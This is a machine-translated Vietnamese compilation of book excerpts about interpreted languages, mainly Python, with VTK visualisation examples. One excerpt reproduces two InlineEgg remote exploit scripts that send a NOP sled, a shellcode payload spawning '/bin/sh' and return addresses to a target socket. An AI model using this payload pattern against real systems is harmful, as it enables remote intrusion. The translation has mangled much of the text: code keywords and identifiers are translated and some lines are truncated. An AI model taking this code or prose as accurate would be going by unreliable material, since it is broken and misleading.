Tại sao python không phải là trình biên dịch?

Mã Python phát triển nhanh. Vì không cần biên dịch và xây dựng mã nên mã Python có thể dễ dàng thay đổi và thực thi. Điều này làm cho một chu kỳ phát triển nhanh

Mã Python thực thi không nhanh bằng. Do mã không được biên dịch và thực thi trực tiếp và một lớp bổ sung của máy ảo Python chịu trách nhiệm thực thi nên mã Python chạy hơi chậm so với các ngôn ngữ thông thường như C, C + +, v.v.

điểm mạnh

Python đã tăng đều đặn trong bảng xếp hạng các ngôn ngữ lập trình được sử dụng rộng rãi và theo một số khảo sát và nghiên cứu, nó là ngôn ngữ quan trọng thứ năm trên thế giới. Gần đây, một số cuộc khảo sát đã mô tả Python là ngôn ngữ phổ biến nhất cho máy học và khoa học dữ liệu. Chúng tôi sẽ biên soạn một danh sách ngắn gọn về các lợi thế mà Python cung cấp có khả năng giải thích mức độ phổ biến của nó

dễ học. Python là một ngôn ngữ tương đối dễ học. Cú pháp của nó rất đơn giản cho người mới bắt đầu học và hiểu. Khi so sánh với các ngôn ngữ như C hoặc Java, cần có mã soạn sẵn tối thiểu để thực thi chương trình Python

Hỗ trợ nhiều mô hình lập trình. Python là một ngôn ngữ lập trình đa mô hình, đa năng. Nó hỗ trợ lập trình hướng đối tượng, lập trình có cấu trúc, lập trình chức năng và thậm chí cả lập trình hướng khía cạnh. Tính linh hoạt này cho phép nó được sử dụng bởi vô số lập trình viên

có thể mở rộng. Khả năng mở rộng của Python là một trong những đặc điểm quan trọng nhất của nó. Python có một số lượng lớn các mô-đun có sẵn dễ dàng cài đặt và sử dụng. Các mô-đun này bao gồm mọi khía cạnh của lập trình từ truy cập dữ liệu đến triển khai các thuật toán phổ biến. Tính năng dễ mở rộng này đảm bảo rằng nhà phát triển Python làm việc hiệu quả hơn vì có thể giải quyết một loạt vấn đề lớn bằng các thư viện có sẵn

Cộng đồng nguồn mở tích cực. Python là mã nguồn mở và được hỗ trợ bởi cộng đồng lập trình viên lớn. Điều này làm cho nó mạnh mẽ và thích ứng. Các lỗi gặp phải dễ dàng được sửa bởi cộng đồng Python. Là nguồn mở, các nhà phát triển có thể sửa lại mã nguồn Python nếu cần

1. 4. 1 cạm bẫy

Mặc dù Python là một ngôn ngữ lập trình rất phổ biến nhưng nó cũng có những cạm bẫy riêng. Một trong những hạn chế quan trọng nhất mà nó mắc phải là về tốc độ thực thi. Là một ngôn ngữ được thông dịch , nó chậm khi so sánh với các ngôn ngữ được biên dịch. Giới hạn này có thể hơi hạn chế trong các tình huống yêu cầu mã hiệu suất cực cao. Đây là một lĩnh vực cải tiến chính để triển khai Python trong tương lai và mọi phiên bản Python tiếp theo đều giải quyết vấn đề này. Mặc dù chúng tôi phải thừa nhận rằng nó không bao giờ có thể nhanh bằng một ngôn ngữ được biên dịch, nhưng chúng tôi tin rằng nó bù đắp cho sự thiếu sót này bằng cách siêu hiệu quả và hiệu quả trong các bộ phận khác.

Bạn có thể cài đặt Python và các thư viện cần thiết riêng lẻ bằng cách sử dụng bản phân phối Python được đóng gói sẵn đi kèm với các thư viện cần thiết [i. e. , Anaconda]. Anaconda là một phần tổng hợp đóng gói của Python cùng với toàn bộ bộ thư viện, bao gồm các thư viện cốt lõi được sử dụng rộng rãi trong khoa học dữ liệu. Ưu điểm chính của bản phân phối này là chúng tôi không cần thiết lập phức tạp và nó hoạt động tốt trên mọi loại hệ điều hành và nền tảng, đặc biệt là Windows. Bản phân phối Anaconda đi kèm với một IDE tuyệt vời, Spyder [Môi trường phát triển Python khoa học], cũng như các tiện ích hữu ích khác như Jupyter Notebooks, bảng điều khiển IPython và công cụ quản lý gói tuyệt vời Conda [ Sarkar et . , 2018 ].

1. 4. 2 nhược điểm

Hạn chế thực sự duy nhất của Python là nó không nhanh bằng Java hay C. Tuy nhiên, bạn có thể gọi các chương trình được biên dịch bằng C từ Python. Điều này mang đến cho bạn những điều tốt nhất của cả hai thế giới và cho phép bạn phát triển dần một chương trình. Nếu chương trình được xây dựng theo kiểu mô-đun, trước tiên bạn có thể thiết lập và chạy nó bằng Python, sau đó, để cải thiện tốc độ, hãy bắt đầu xây dựng các phần mã bằng C. Thư viện Boost C + + giúp việc này trở nên dễ dàng. Các công cụ khác, chẳng hạn như Cython và PyPy, cho phép bạn viết các phiên bản Python đã nhập với hiệu suất tăng so với Python thông thường. Nếu một ý tưởng cho một chương trình hoặc ứng dụng bị lỗi, thì nó sẽ bị lỗi ở tốc độ thấp cũng như tốc độ cao. Nếu một ý tưởng là một ý tưởng tồi thì việc viết mã có thể giúp nó tăng tốc hoặc mở rộng quy mô [ Harrington, 2012 ].

1. 4. 3 Thư viện NumPy

NumPy là xương sống của máy học trong Python. Đây là một trong những thư viện quan trọng nhất trong Python để tính toán số. Nó bổ sung hỗ trợ cho Python lõi cho các mảng [và ma trận] đa chiều và các hoạt động được vector hóa nhanh trên các mảng này. Nó được sử dụng trong hầu hết các thư viện máy học và máy tính khoa học. Mức độ phổ biến của NumPy được xác minh bởi thực tế là các bản phân phối hệ điều hành chính, như Linux và MacOS, gói NumPy làm gói mặc định thay vì coi đó là gói bổ trợ [ Sarkar et al. , 2018 ].

1. 4. 4 gấu trúc

Pandas là một thư viện Python quan trọng để thao tác, sắp xếp và phân tích dữ liệu. Nó hoạt động như một bộ công cụ trực quan và dễ sử dụng để thực hiện các thao tác trên bất kỳ loại dữ liệu nào. Pandas cho phép bạn làm việc với cả dữ liệu chéo và dữ liệu dựa trên chuỗi thời gian. DataFrame là cấu trúc dữ liệu quan trọng và hữu ích nhất được sử dụng cho hầu hết các loại biểu diễn và thao tác dữ liệu trong Pandas. Không giống như mảng NumPy, DataFrame có thể chứa dữ liệu không đồng nhất. Đương nhiên, dữ liệu dạng bảng được đặc trưng bởi DataFrames, tương tự như bảng Excel hoặc bảng SQL. Điều này thực sự có lợi trong việc biểu diễn các tập dữ liệu thô cũng như các tập tính năng đã xử lý trong học máy và khoa học dữ liệu. Tất cả các hoạt động có thể được thực hiện dọc theo các trục, hàng và cột trong DataFrame [ Sarkar et al. , 2018 ].

Xem chươngMua sách

Đọc toàn bộ chương

URL. https. //www. sciencedirect. com/khoa học/bài viết/pii/B9780128213797000011

Giới thiệu

TJ O'Connor, trong Trăn bạo lực , 2013

Phiên dịch Python so với Python tương tác

Tương tự như các ngôn ngữ kịch bản khác, Python là một ngôn ngữ được thông dịch . Trong thời gian chạy, trình thông dịch xử lý mã và thực thi nó. Để chứng minh việc sử dụng trình thông dịch Python, chúng tôi viết in “Xin chào thế giới” vào một tệp có phần mở rộng. py tiện ích mở rộng. Để thông dịch tập lệnh mới này, chúng tôi gọi trình thông dịch Python theo sau là tên của tập lệnh mới được tạo.

lập trình viên# echo print \”Xin chào thế giới\” > xin chào. py

lập trình viên # python xin chào. py

Chào thế giới

Ngoài ra, Python cung cấp khả năng tương tác. Một lập trình viên có thể gọi trình thông dịch Python và tương tác trực tiếp với trình thông dịch. Để bắt đầu trình thông dịch, lập trình viên thực thi python không có đối số. Tiếp theo, trình thông dịch hiển thị cho lập trình viên một dấu nhắc >>>, cho biết nó có thể chấp nhận một lệnh. Tại đây, lập trình viên lại gõ lệnh in “Hello World. ” Khi nhấn quay lại, trình thông dịch tương tác Python ngay lập tức thực thi câu lệnh

lập trình viên # trăn

Trăn 2. 6. 5 [r265. 79063, ngày 16 tháng 4 năm 2010, 13. 57. 41]

[GCC 4. 4. 3] trên linux2

>>>

>>> in “Xin chào thế giới”

Chào thế giới

Để hiểu ban đầu một số ngữ nghĩa đằng sau ngôn ngữ, chương này thỉnh thoảng sử dụng khả năng tương tác của trình thông dịch Python. Bạn có thể phát hiện trình thông dịch tương tác đang được sử dụng bằng cách tìm dấu nhắc >>> trong các ví dụ

Khi chúng tôi giải thích các ví dụ về Python trong các chương sau, chúng tôi sẽ xây dựng các tập lệnh của mình từ một số khối mã chức năng được gọi là phương thức hoặc hàm. Khi chúng tôi hoàn thiện từng tập lệnh, chúng tôi sẽ trình bày cách tập hợp lại các phương thức này và gọi chúng từ phương thức main[]. Cố gắng chạy một tập lệnh chỉ chứa các định nghĩa hàm riêng biệt mà không có lời gọi để gọi chúng sẽ không hữu ích. Đối với hầu hết các phần, bạn có thể phát hiện ra các tập lệnh đã hoàn thành vì chúng sẽ có hàm main[] được xác định. Tuy nhiên, trước khi bắt đầu viết chương trình đầu tiên, chúng tôi sẽ minh họa một số thành phần chính của thư viện chuẩn Python

Xem chươngMua sách

Đọc toàn bộ chương

URL. https. //www. sciencedirect. com/khoa học/bài viết/pii/B9781597499576000016

Tính toán song song

Geoffrey C. Fox, Wojtek Furmanski, trong Những tiến bộ trong điện toán song song , 1998

Môi trường giải thích

Công nghệ web và Java đề xuất các môi trường lập trình mới tích hợp các ngôn ngữ biên dịch và thông dịch hoặc viết kịch bản. Trong Hình 12 , chúng tôi hiển thị một hệ thống được xây dựng tại NPAC [ 32 ] . Điều này tình cờ được thiết kế cho back-end HPF, nhưng kiến ​​trúc độc lập với ngôn ngữ back-end. Giao diện người dùng Java hoặc JavaScript chứa các đối tượng proxy được tạo bởi giao diện người dùng HPF hoạt động trên mã giao diện người dùng phía sau. Các đối tượng proxy này có thể được thao tác bằng các lệnh Java hoặc JavaScript được giải thích để yêu cầu xử lý bổ sung, trực quan hóa và chỉ đạo và phân tích tính toán tương tác khác. Lưu ý rằng đối với Java đã biên dịch [song song], việc sử dụng các đối tượng [trái ngược với các kiểu đơn giản trong ngôn ngữ] có thể có chi phí không thể chấp nhận được. Tuy nhiên, chúng được sử dụng tốt trong các giao diện người dùng được giải thích nơi các tham chiếu đối tượng được dịch thành mã được biên dịch hiệu quả. Chúng tôi thấy các kiến ​​trúc lai như vậy là khá hấp dẫn và đảm bảo nghiên cứu thêm.

Hình 12 . Kiến trúc dành cho giao diện người dùng Java được giải thích giao tiếp với máy chủ cấp hai điều khiển động phụ trợ HPCC.

Tóm lại, chúng ta thấy rằng Java không có nhược điểm lớn rõ ràng và một số lợi thế rõ ràng so với C ++ và đặc biệt là Fortran như một ngôn ngữ cơ bản cho mô phỏng và mô hình quy mô lớn. Rõ ràng là chúng ta không nên và không thể chuyển tất cả mã của mình sang Java. Thay vào đó, chúng ta có thể bắt đầu sử dụng Java hay chính xác hơn là Javabeans cho các hàm bao và giao diện người dùng. Khi trình biên dịch trở nên tốt hơn, chúng tôi hy vọng người dùng sẽ thấy việc sử dụng Java cho các ứng dụng mới ngày càng hấp dẫn hơn. Do đó, chúng ta có thể mong đợi thấy sự chấp nhận ngày càng tăng của các nhà khoa học máy tính đối với công nghệ Web trong mọi khía cạnh công việc của họ.

Xem chươngMua sách

Đọc toàn bộ chương

URL. https. //www. sciencedirect. com/khoa/khoa/bài/pii/S092754529880004X

Giới thiệu về Perl

Jason Andress, Ryan Linn, trong Mã hóa dành cho người kiểm tra thâm nhập [Ấn bản thứ hai] , 2017

Biên dịch tập lệnh Perl

Như chúng ta đã thảo luận trong cuốn sách cho đến nay, các ngôn ngữ lập trình được thông dịch yêu cầu một công cụ để xử lý tập lệnh khi nó được chạy, cụ thể là trình thông dịch. Nếu chúng tôi ở trong tình huống không có trình thông dịch trên máy mà chúng tôi muốn chạy tập lệnh của mình, đây không phải là tình huống khó xảy ra trong thử nghiệm thâm nhập, thì chúng tôi gặp một chút vấn đề. May mắn thay, đây là điều chúng ta có thể đối phó với một số ngôn ngữ kịch bản, bao gồm cả Perl. Chúng tôi chỉ có thể biên dịch kịch bản của chúng tôi

Bây giờ đợi một chút, chẳng phải chúng ta vừa thảo luận về việc Perl là một ngôn ngữ được thông dịch như thế nào , một ngôn ngữ mà theo định nghĩa, không có . Những gì chúng tôi có thể làm trong những trường hợp như vậy là không biên dịch theo nghĩa chặt chẽ nhất của thuật ngữ, nhưng kết quả cuối cùng là như nhau. Có một số công cụ, bao gồm PerlApp7 từ ActiveState và Perl2Exe 8 from IndigoStar, which will, in essence, wrap up a small copy of a Perl interpreter, our script, and any modules of other dependencies, and generate an executable binary for a variety of platforms. This can be a very handy capability when we can’t control or change the environment on the system we are using.

Xem chươngMua sách

Đọc toàn bộ chương

URL. https. //www. sciencedirect. com/khoa học/bài viết/pii/B9780128054727000036

miền 8

Eric Conrad, trong CISSP giờ thứ mười một , 2011

Nhà xuất bản Tóm tắt

Chương này khám phá cách phát triển phần mềm mạnh mẽ và an toàn. Nó bao gồm các kiến ​​thức cơ bản về lập trình như ngôn ngữ được biên dịch và ngôn ngữ được giải thích cũng như các ngôn ngữ lập trình hướng đối tượng và thủ tục. Khi máy tính trở nên mạnh mẽ và phổ biến hơn, quy trình và phương pháp được sử dụng để tạo phần mềm đã phát triển và thay đổi. Khi phần mềm ngày càng phức tạp, lập trình ngày càng trở thành nỗ lực của nhóm. Các dự án dựa trên nhóm yêu cầu quản lý dự án. để cung cấp một khuôn khổ với các sản phẩm và các mốc quan trọng, để phân chia các nhiệm vụ, giao tiếp trực tiếp với nhóm, đánh giá và báo cáo tiến độ cũng như cung cấp sản phẩm cuối cùng. Các mô hình phát triển ứng dụng như Mô hình thác nước, Mô hình xoắn ốc, Lập trình cực đoan [XP] và các mô hình khác cũng được thảo luận. Cuối cùng, các dự án phát triển ứng dụng lớn có thể gần giống với các dự án không liên quan gì đến phần mềm, chẳng hạn như sản xuất phụ tùng hoặc xây dựng cầu nối. Các phương pháp phát triển như Mô hình Thác nước và Xoắn ốc thường là anh em họ gần với các mô hình không lập trình. Chúng có thể được coi là phương pháp quản lý dự án, với các tính năng bổ sung để hỗ trợ viết mã. Chương này cũng mô tả các lỗ hổng phần mềm phổ biến, các cách kiểm tra chúng và các khung trưởng thành để đánh giá mức độ trưởng thành của quy trình lập trình và cung cấp các cách để cải thiện nó. Việc sử dụng một phương pháp chính thức để phát triển phần mềm theo sau một chế độ thử nghiệm nghiêm ngặt là cách tốt nhất. Năm bước của Mô hình trưởng thành về năng lực [CMM] bắt chước quy trình mà hầu hết các tổ chức lập trình tuân theo, từ không chính thức đến trưởng thành, luôn tìm kiếm sự cải tiến. ban đầu, lặp lại, xác định, quản lý và tối ưu hóa.

Xem chươngMua sách

Đọc toàn bộ chương

URL. https. //www. sciencedirect. com/khoa học/bài viết/pii/B9781597495660000084

mã hóa bảo mật

James C. Foster, Mike Price, trong Sockets, Shellcode, Porting và Coding , 2005

con trăn

Python được phát minh bởi Guido Van Rossum vào năm 1990. Phiên bản “chính thức” đầu tiên của nó được xuất bản vào năm 1991. Được đặt tên bởi Van Rossum vì ông quan tâm đến các bộ phim Monty Python, Python ban đầu không nhận được sự ủng hộ mạnh mẽ như Perl. Tuy nhiên, theo thời gian, số lượng người ủng hộ tăng lên, và comp. lang thang. nhóm usenet python được thành lập vào năm 1994. Không giống như GNU, Python ban đầu được phát hành hoàn toàn “miễn phí;”

Giống như hầu hết mọi ngôn ngữ kịch bản khác, một trong những mục tiêu chính của Python là phát triển ứng dụng nhanh chóng. Là một ngôn ngữ được thông dịch , Python yêu cầu một trình thông dịch đi kèm để thực thi tập lệnh. Tại thời điểm xuất bản, đã tồn tại hai trình thông dịch chính cho Python. Các trang web sau đây chứa tài liệu chi tiết về cả hai trình thông dịch và cung cấp các cơ chế để tải xuống miễn phí.

www. con trăn. tổ chức

www. trạng thái kích hoạt. com

Các tập lệnh Python có thể được viết và thực thi trên một danh sách dài các hệ điều hành, bao gồm các nền tảng Microsoft Windows và nhiều phiên bản của UNIX, Linux và Mac

Python là một ngôn ngữ kịch bản hướng đối tượng cung cấp khả năng tạo và sử dụng các đối tượng, lớp và phương thức của chúng. Dễ dàng nhúng và mở rộng với các ngôn ngữ khác, nó được thiết kế để tránh sự mơ hồ. Nhìn chung, Python là một ngôn ngữ cực kỳ mạnh mẽ được ưa chuộng bởi các công ty như An toàn thông tin, Tin sinh học và Toán học ứng dụng. Sự phổ biến này được công nhận nhờ giao diện chương trình ứng dụng phát triển dễ dàng [API], khả năng mã hóa các quy trình cấp thấp, hiệu suất và thiết kế ổ cắm

Ghi chú

CANVAS, một công cụ bảo mật do Dave Aitel viết, đang nhanh chóng trở nên phổ biến. Nó sử dụng Python làm trình thông dịch và cú pháp tập lệnh cho các tập lệnh khai thác mà nó chứa. CANVAS chứa một bộ sưu tập các khai thác có thể được thực thi để xem “rủi ro bảo mật thực sự của bạn. ” Bạn có thể tìm thấy thông tin và mã nguồn của CANVAS tại www. miễn dịch. com . CANVAS hoàn toàn là mã nguồn mở nếu bạn mua ít nhất một giấy phép người dùng.

nội tuyếntrứng

InlineEgg được tạo bởi các nhà nghiên cứu tại CORE SDI, để giúp phát triển khung khai thác năng động và có thể mở rộng cho bộ sản phẩm của mình. Nó tạo shellcode cho nhiều tòa nhà chọc trời trên nhiều nền tảng có thể được sử dụng nhanh chóng trong các tập lệnh Python. Thực tế, việc triển khai tạo vỏ của CORE SDI là công nghệ dẫn đầu thị trường. Ví dụ 1. 30 được lấy từ tài liệu của InlineEgg, được tạo bởi các kỹ sư CORE SDI để giúp bạn hiểu cách Python có thể hiệu quả trong các ứng dụng cấp thương mại.

Ví dụ 1. 30

InlineEgg

1 từ inlineegg. nhập inlineegg *

2 ổ cắm nhập

3 nhập cấu trúc

4 nhập hệ thống

5

6 def stdinShellEggO.

7 #egg = InlineEgg[FreeBSDx86Syscall]

8 #egg = InlineEgg[OpenBSDx86Syscall]

9 egg = InlineEgg[Linuxx86Syscall]

10

11 trứng. thiết lập [0]

12 trứng. thiết lập [ 0]

13 trứng. execve[‘/bin/sh’, [‘bash’, ‘-i’]] 14

15 in “Trứng len. %d” % len[trứng]

16 trả trứng

17

18 def chính [ ].

19 if len [sys. argv] < 3.

20 nâng cao ngoại lệ,“Cách sử dụng. %s

21

22 sock = socket. ổ cắm [ổ cắm. AF_INET, ổ cắm. SOCK_STREAM]

23 vớ. kết nối [[hệ thống. argv[1] ,int[sys. argv[2]]]]

24

25 egg = StdinShellEggO

26

27 retAddr = struct. pack[‘

28 toSend= “\x90”*[1024-len[egg]]

29 toSend += egg. getCode[]

30 toSend += retAddr*20

31

32 bạn, gửi [toSend]

33

34 chính[]

Phân tích

Dòng 1 nhập lớp inlineegg từ tệp inlineegg cần thiết để thực thi tập lệnh

Các dòng 2 đến 4 nhập các lớp tiêu chuẩn bắt buộc khác cho Python

Các dòng từ 6 đến 16 được sử dụng để tạo hàm tạo trứng sẽ được sử dụng trong tập lệnh. Dòng 16 trả về quả trứng được tạo khi hàm được gọi. Các dòng 7 đến 9 thực thi các hàm inlineegg được gọi từ lớp inlineegg đã được nhập trên dòng 1, để lấy trứng được tạo từ cơ sở mã chính. Các dòng 11 và 12 lấy mã để đặt ID người dùng và ID nhóm tương ứng, tiếp theo là Dòng 13, thêm lệnh gọi tòa nhà execve vào trứng

Dòng 19 và 20 thực hiện nhanh chóng việc xác minh rằng các thông số sử dụng đã được truyền chính xác bằng cách kiểm tra xem có bao nhiêu thông số đã được truyền. Lưu ý rằng không có kiểm tra lỗi nào được thực hiện trên các tham số này

Dòng 22 và 23 tạo và kết nối với ổ cắm thông qua địa chỉ IP và số cổng được cung cấp cho chương trình thông qua các tham số dòng lệnh được truyền trong khi thực thi

Dòng 25 tạo quả trứng để gửi đến mục tiêu từ xa

Các dòng 27 đến 30 tạo gói có trứng được gửi đến hệ thống đích. Dòng 28 thông báo tập lệnh về các ký tự phụ sẽ được sử dụng ngoài quả trứng, như đã thấy với \x90

Dòng 32 ghi gói vào ổ cắm, trong khi dòng 34 gọi chức năng chính và khởi chạy chương trình

Bây giờ bạn đã quen với API InlineEgg, chúng ta sẽ giải quyết một ví dụ khác phức tạp hơn một chút. Ví dụ 1. 31 sử dụng kết hợp các kỹ thuật để tạo mã shell thích hợp được nhúng trong một điều kiện lặp.

Ví dụ 1. 31

InlineEgg II

1 từ inlineegg. ininieegg nhập *

2 ổ cắm nhập

3 nhập cấu trúc

4 nhập hệ thống

5

6 def sử dụng lạiConnectionShellEgg[].

7 #egg = InlineEgg[FreeBSDx86Syscall]

8 #egg = InlineEgg[OpenBSDx86Syscall]

9 egg = InlineEgg[Linuxx86Syscall]

10

11 # s = trứng. ổ cắm[2,1]

12 # quả trứng. connectfs,[‘127. 0. 0. 1’,3334]]

13

14 vớ = trứng. lưu[-1]

15

16 # Bắt đầu vòng lặp

17 loop = egg. Làm [ ]

18 vòng lặp. addCode [vòng lặp. vi mô. ine[sock]]

19 lenp = vòng lặp. lưu[0]

20 err = vòng lặp. getpeername[sock,0,lenp. addr[]]

21 vòng lặp. Trong khi [err, ‘. =’, 0]

22

23 # Sao chép một Exec

24 trứng. dup2[sock, 0]

25 trứng. dup2[sock, 1]

26 trứng. dup2[sock, 2]

27 trứng. execve[‘/bin/sh’,[‘bash’, ‘-i’]]

28 in “Trứng len. %d” % len[trứng]

29 trả trứng

30

31 def duy trì].

32 if len[sys. argv] < 3.

33 nâng cao ngoại lệ, “Cách sử dụng. %s

34

35 sock = socket. ổ cắm [ổ cắm. AF_INET, ổ cắm. SOCK_STREAM]

36 vớ. kết nối [[hệ thống. argv[l],int[sys. argv[2]]]]

37

38 egg = tái sử dụngConnectionShellEgg[]

39

40 retAddr = struct. pack[‘

41 toSend= “\x90”*[1024-len[egg]]

42 toSend += egg. getCode[]

43 toSend += retAddr*2 0

44

45 vớ. gửi[toSend]

46

47 chính[]

Phân tích

Dòng 1 nhập lớp inlineegg từ tệp inlineegg cần thiết để thực thi tập lệnh

Các dòng 2 đến 4 nhập các lớp tiêu chuẩn bắt buộc khác cho Python

Các dòng 7 đến 9 thực thi các hàm inlineegg được gọi từ lớp inlineegg đã được nhập trên dòng 1, để lấy trứng được tạo từ cơ sở mã chính

Các dòng 11 và 12 được đưa vào hệ thống cục bộ chỉ nhằm mục đích thử nghiệm. Nếu không được ghi chú, nó sẽ cố gắng kết nối tập lệnh với địa chỉ loopback trên cổng 3334

Dòng 14 tạo một biến trên ngăn xếp initiaUzed thành 0;

Các dòng từ 17 đến 21 tạo cấu trúc vòng lặp để tìm ổ cắm [Une 17], thêm mã thích hợp vào nó sau khi tìm thấy [Une 18], khởi tạo mã lỗi chính xác [Une 20] và cuối cùng thực hiện toàn bộ vòng lặp trong

Các dòng 24 đến 29 chỉ định những tòa nhà chọc trời nào sẽ được thêm vào egg bằng cách sử dụng lớp inlineegg được nhập ở đầu tập lệnh. Dòng 28 in quả trứng thành STDOUT, sau đó quả trứng được trả về Main ở dòng 29

Các dòng từ 31 đến 33 thực hiện nhanh chóng việc xác minh các tham số sử dụng đã được chuyển chính xác bằng cách kiểm tra xem có bao nhiêu thông số đã được chuyển. Lưu ý rằng không có kiểm tra lỗi nào được thực hiện trên các tham số này

Dòng 35 và 36 tạo và kết nối với ổ cắm thông qua địa chỉ IP và số cổng được cung cấp cho chương trình thông qua các tham số dòng lệnh được truyền trong khi thực thi

Dòng 38 tạo trứng để gửi đến mục tiêu từ xa

Các dòng 41 đến 43 tạo gói có trứng được gửi đến hệ thống đích. Dòng 41 thông báo tập lệnh về các ký tự phụ sẽ được sử dụng ngoài quả trứng, như đã thấy với \κ90

Dòng 45 ghi gói vào ổ cắm, trong khi dòng 47 gọi chức năng chính và khởi chạy chương trình

Ghi chú

Để biết thêm thông tin về bất kỳ syscalis nào được sử dụng trong hai tập lệnh này, vui lòng tham khảo Chương 7, “Viết mã mạng di động” và Chương 8, “Kỹ thuật Shellcode. ”

Xem chươngMua sách

Đọc toàn bộ chương

URL. https. //www. sciencedirect. com/khoa học/bài viết/pii/B9781597490054500079

Hình dung

Thomas Sterling,. Maciej Brodowicz, trong Điện toán hiệu năng cao , 2018

12. 5 Bộ công cụ trực quan hóa

Một trong những thư viện trực quan mã nguồn mở quan trọng nhất cho người dùng HPC là VTK [3]. VTK cung cấp nhiều thuật toán trực quan hóa 3D, hỗ trợ tính toán song song và giao diện cho các ngôn ngữ được giải thích như Python, được sử dụng làm ví dụ trong phần này. VTK cũng được sử dụng trong một số công cụ trực quan đầy đủ, bao gồm ParaView và VisIt, được minh họa ở phần sau của chương này.

Bản phát hành gần đây nhất của VTK là 8. 0 và được đặt ra về mặt khái niệm xung quanh ý tưởng về một đường ống dữ liệu kết hợp các bản đồ với các khóa và giá trị để truyền thông tin qua đường ống, các đối tượng để lưu trữ dữ liệu nguồn, thuật toán và bộ lọc cũng như một lớp để kết nối với nhau và thực thi đường ống. Theo thuật ngữ VTK, “người lập bản đồ” chuyển đổi dữ liệu thành đồ họa nguyên thủy trong khi “người thực hiện” thay đổi thuộc tính trực quan của những đồ họa đó. Ví dụ hiển thị trong Hình. 12. 14 và Mã 12. 3 đọc các hạt "dữ liệu HDF5. h5” từ Chương 10 và vẽ một đường ở dạng 3D qua các điểm trong tập dữ liệu HDF5 bằng VTK.

Hình 12. 14 . Hai sơ đồ 3D của các vị trí hạt được tìm thấy trong các hạt. h5 từ Chương 10 sử dụng VTK. Mã tương ứng cho hình ảnh này được tìm thấy trong Mã 12. 3.

 1  nhập h5py    # giao diện HDF5 Python

 2  nhập vtk    # giao diện VTK Python

 3  f = h5py. Tập tin ["hạt. h5”,“r”]   # đọc trong tệp “hạt. h5”

 4  bộ dữ liệu = f[“dữ liệu hạt”]   # truy cập vào tập dữ liệu “dữ liệu hạt” trong “hạt. h5”

5  điểm = vtk. vtkPoints[]

 6 điểm. SetNumberOfPoints[tập dữ liệu. shape[0]]   # tạo danh sách điểm cho             vị trí hạt

7  đối với idx,mục trong bảng liệt kê[tập dữ liệu]

8  điểm. SetPoint[idx,dataset[idx][0],dataset[idx][1],dataset[idx][2]] # gán       giá trị

9

10 dòng = vtk. vtkCellArray[]

11 dòng. InsertNextCell[tập dữ liệu. hình dạng[0]]

12 cho idx trong phạm vi[0,tập dữ liệu. hình dạng[0]].   # chỉ định kết nối giữa             điểm

13   dòng. InsertCellPoint[idx]

14

15 đa giác = vtk. vtkPolyData[]   # tạo cấu trúc hình học đa giác

16 đa giác. SetPoints[điểm]

17 đa giác. SetLines[dòng]

18

19 polygonMapper = vtk. vtkPolyDataMapper[]   # ánh xạ dữ liệu đa giác thành đồ họa

20 đa giácMapper. SetInputData[đa giác]

21 đa giácMapper. Cập nhật[]

22

23 trục = vtk. vtkAxesActor[]    # tạo một số trục

24 đa giácActor = vtk. vtkActor[]    # Quản lý kết xuất của trình ánh xạ

25 đa giácDiễn viên. SetMapper[đa giácMapper]

26 trình kết xuất = vtk. vtkRenderer[]    # Chế độ xem trên màn hình

trình kết xuất 27. AddActor[đa giácActor]

28 trình kết xuất. AddActor[trục]

29 trình kết xuất. SetBackground[0. 1, 0. 2, 0. 3]

30

31 trình kết xuất. Đặt lại Camera[]

32

33 renderWindow = vtk. vtkRenderWindow[]

34 kết xuấtCửa sổ. AddRenderer[trình kết xuất]

35

36 tương tác_ren = vtk. vtkRenderWindowInteractor[]   # bật tương tác với             trực quan hóa

37 tương tác_ren. SetRenderWindow[renderWindow]

38 tương tác_ren. khởi tạo[]

39 tương tác_ren. Bắt đầu[]

Mã 12. 3. A Python script to read in and visualize the 3D trajectory of the particle data stored in particles. h5 từ Chương 10 sử dụng VTK. Hình ảnh trực quan kết quả được hiển thị trong Hình. 12. 14 .

Tất cả các thành phần trực quan hóa khoa học chính khác đều có sẵn trong VTK. Có thể tạo các bề mặt đồng nhất của dữ liệu 3D bằng cách sử dụng vtkContourFilter, như được minh họa trong Hình. 12. 15 . Trong VTK, các bộ lọc như vtkContourFilter được tùy chọn áp dụng trong quy trình bán hàng trước khi áp dụng trình ánh xạ và tác nhân, như được minh họa trong Mã 12. 4.

Hình 12. 15 . An isosurface trong VTK sử dụng Code 12. 4.

  1  nhập vtk    # giao diện VTK Python

2

 3  rt = vtk. vtkRTAnalyticSource[]   # dữ liệu để thử nghiệm

4

 5  contour_filter = vtk. vtkContourFilter[]   # bộ lọc bề mặt phẳng

6  contour_filter. SetInputConnection[rt. GetOutputPort[]]

7  contour_filter. SetValue[0, 190]

số 8

9  người lập bản đồ = vtk. vtkPolyDataMapper[]

10 bản đồ. SetInputConnection[contour_filter. GetOutputPort[]]

11

12 diễn viên = vtk. vtkActor[]

13 diễn viên. SetMapper[người lập bản đồ]

14

15 trình kết xuất = vtk. vtkRenderer[]

16 trình kết xuất. AddActor[diễn viên]

17

18 trình kết xuất. SetBackground[0. 9, 0. 9, 0. 9]

19

20 renderWindow = vtk. vtkRenderWindow[]

21 kết xuấtCửa sổ. AddRenderer[trình kết xuất]

22 kết xuấtCửa sổ. ĐặtKích thước[600, 600]

23

24 tương tác_ren = vtk. vtkRenderWindowInteractor[]   # bật tương tác với             trực quan hóa

25 tương tác_ren. SetRenderWindow[renderWindow]

26 interactive_ren. khởi tạo[]

27 tương tác_ren. Bắt đầu[]

Mã 12. 4. Ví dụ isosurface sử dụng bộ lọc ContourFilter; . Dữ liệu thử nghiệm được cung cấp bằng cách sử dụng vtkRTAnalyticSource ở dòng 3. Kết quả trực quan hóa được hiển thị trong Hình. 12. 15 .

Một cách để thực hiện kết xuất âm lượng thông qua dò tia trong VTK là sử dụng lớp SmartVolumeMapper được minh họa trong Mã 12. 5 và Hình. 12. 16 . Trong ví dụ này, một chức năng truyền màu và bản đồ độ mờ được chuyển thành các thuộc tính để tô bóng các tia một cách thích hợp khi chúng đi qua âm lượng.

Hình 12. 16 . Một ví dụ kết xuất khối lượng trong VTK bằng Mã 12. 5.

1  nhập vtk

2

3  rt = vtk. vtkRTAnalyticSource[]

4  rt. Cập nhật[]

5

6  hình ảnh = rt. GetOutput[]

7  phạm vi = hình ảnh. GetScalarRange[]

số 8

 9  người ánh xạ = vtk. vtkSmartVolumeMapper[]    # kết xuất âm lượng

10 bản đồ. SetInputConnection[rt. GetOutputPort[]]

11 bản đồ. SetRequestedRenderModeToRayCast[]

12

13 màu = vtk. vtkColorTransferFunction[]

